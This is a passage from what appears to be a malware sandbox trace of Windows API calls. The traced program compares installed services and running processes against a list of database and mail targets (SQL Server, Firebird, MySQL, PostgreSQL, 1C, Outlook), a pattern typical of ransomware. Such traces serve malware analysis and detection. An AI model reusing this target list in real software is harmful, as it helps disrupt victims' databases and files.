(lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0065.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0065.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0065.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0065.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0065.846] lstrlenW (lpString="Netman") returned 6 [0065.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0065.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0065.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0065.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0065.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0065.846] lstrlenW (lpString="netprofm") returned 8 [0065.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0065.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0065.846] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0065.846] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0065.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0065.846] lstrlenW (lpString="NlaSvc") returned 6 [0065.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0065.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0065.847] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0065.847] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0065.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0065.847] lstrlenW (lpString="nsi") returned 3 [0065.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0065.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0065.847] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0065.847] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0065.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0065.847] lstrlenW (lpString="PcaSvc") returned 6 [0065.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0065.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0065.847] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0065.847] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0065.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0065.847] lstrlenW (lpString="PlugPlay") returned 8 [0065.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0065.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0065.847] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0065.847] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0065.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0065.847] lstrlenW (lpString="Power") returned 5 [0065.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0065.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0065.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0065.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0065.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0065.848] lstrlenW (lpString="ProfSvc") returned 7 [0065.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0065.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0065.848] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0065.848] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0065.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0065.848] lstrlenW (lpString="RpcEptMapper") returned 12 [0065.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.848] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0065.848] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0065.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0065.848] lstrlenW (lpString="RpcSs") returned 5 [0065.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0065.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0065.848] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0065.848] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0065.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0065.848] lstrlenW (lpString="SamSs") returned 5 [0065.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0065.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0065.848] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0065.848] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0065.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0065.848] lstrlenW (lpString="Schedule") returned 8 [0065.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0065.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0065.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0065.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0065.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0065.849] lstrlenW (lpString="SENS") returned 4 [0065.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0065.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0065.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0065.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0065.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0065.849] lstrlenW (lpString="ShellHWDetection") returned 16 [0065.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.849] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0065.849] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0065.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0065.849] lstrlenW (lpString="Spooler") returned 7 [0065.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0065.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0065.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0065.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0065.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0065.849] lstrlenW (lpString="SysMain") returned 7 [0065.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0065.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0065.850] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0065.850] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0065.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0065.850] lstrlenW (lpString="Themes") returned 6 [0065.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0065.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0065.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0065.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0065.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0065.850] lstrlenW (lpString="TrkWks") returned 6 [0065.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0065.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0065.850] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0065.850] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0065.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0065.850] lstrlenW (lpString="UxSms") returned 5 [0065.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0065.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0065.850] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0065.850] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0065.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0065.850] lstrlenW (lpString="VSS") returned 3 [0065.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0065.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0065.850] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0065.850] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0065.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0065.851] lstrlenW (lpString="WdiServiceHost") returned 14 [0065.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.851] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0065.851] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0065.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0065.851] lstrlenW (lpString="WdiSystemHost") returned 13 [0065.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.851] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0065.851] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0065.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0065.851] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0065.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.851] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0065.851] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0065.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0065.851] lstrlenW (lpString="Winmgmt") returned 7 [0065.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0065.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0065.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0065.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0065.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0065.851] lstrlenW (lpString="WPDBusEnum") returned 10 [0065.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.852] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0065.852] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0065.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0065.852] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f34f98 | out: hHeap=0x4b0000) returned 1 [0065.852] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0065.856] Process32FirstW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.856] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.856] lstrlenW (lpString="System") returned 6 [0065.856] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0065.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0065.856] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0065.856] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0065.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0065.857] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0065.857] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0065.857] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.857] lstrlenW (lpString="smss.exe") returned 8 [0065.857] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0065.857] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0065.857] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0065.857] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0065.857] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0065.857] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0065.857] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0065.857] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.858] lstrlenW (lpString="csrss.exe") returned 9 [0065.858] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.858] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0065.858] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0065.858] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0065.858] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0065.858] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0065.858] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0065.858] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.858] lstrlenW (lpString="wininit.exe") returned 11 [0065.858] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0065.858] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0065.858] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0065.858] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0065.858] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0065.858] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0065.858] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0065.858] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.859] lstrlenW (lpString="csrss.exe") returned 9 [0065.859] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.859] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.860] lstrlenW (lpString="winlogon.exe") returned 12 [0065.860] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.860] lstrlenW (lpString="services.exe") returned 12 [0065.860] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.861] lstrlenW (lpString="lsass.exe") returned 9 [0065.861] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0065.861] lstrlenW (lpString="lsm.exe") returned 7 [0065.861] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.861] lstrlenW (lpString="svchost.exe") returned 11 [0065.861] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.862] lstrlenW (lpString="svchost.exe") returned 11 [0065.862] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.862] lstrlenW (lpString="svchost.exe") returned 11 [0065.862] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.862] lstrlenW (lpString="svchost.exe") returned 11 [0065.863] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.863] lstrlenW (lpString="svchost.exe") returned 11 [0065.863] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.863] lstrlenW (lpString="audiodg.exe") returned 11 [0065.863] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.864] lstrlenW (lpString="svchost.exe") returned 11 [0065.864] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.864] lstrlenW (lpString="svchost.exe") returned 11 [0065.864] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.864] lstrlenW (lpString="dwm.exe") returned 7 [0065.864] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.865] lstrlenW (lpString="explorer.exe") returned 12 [0065.865] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.865] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.865] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.866] lstrlenW (lpString="svchost.exe") returned 11 [0065.866] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.866] lstrlenW (lpString="taskhost.exe") returned 12 [0065.866] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0065.866] lstrlenW (lpString="taskeng.exe") returned 11 [0065.866] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0065.867] lstrlenW (lpString="communist_nick.exe") returned 18 [0065.867] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0065.867] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0065.867] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0065.867] lstrlenW (lpString="prize.exe") returned 9 [0065.868] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0065.868] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0065.868] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0065.868] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0065.868] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0065.869] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0065.869] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0065.869] lstrlenW (lpString="prospects.exe") returned 13 [0065.869] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0065.869] lstrlenW (lpString="signalpackard.exe") returned 17 [0065.869] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, 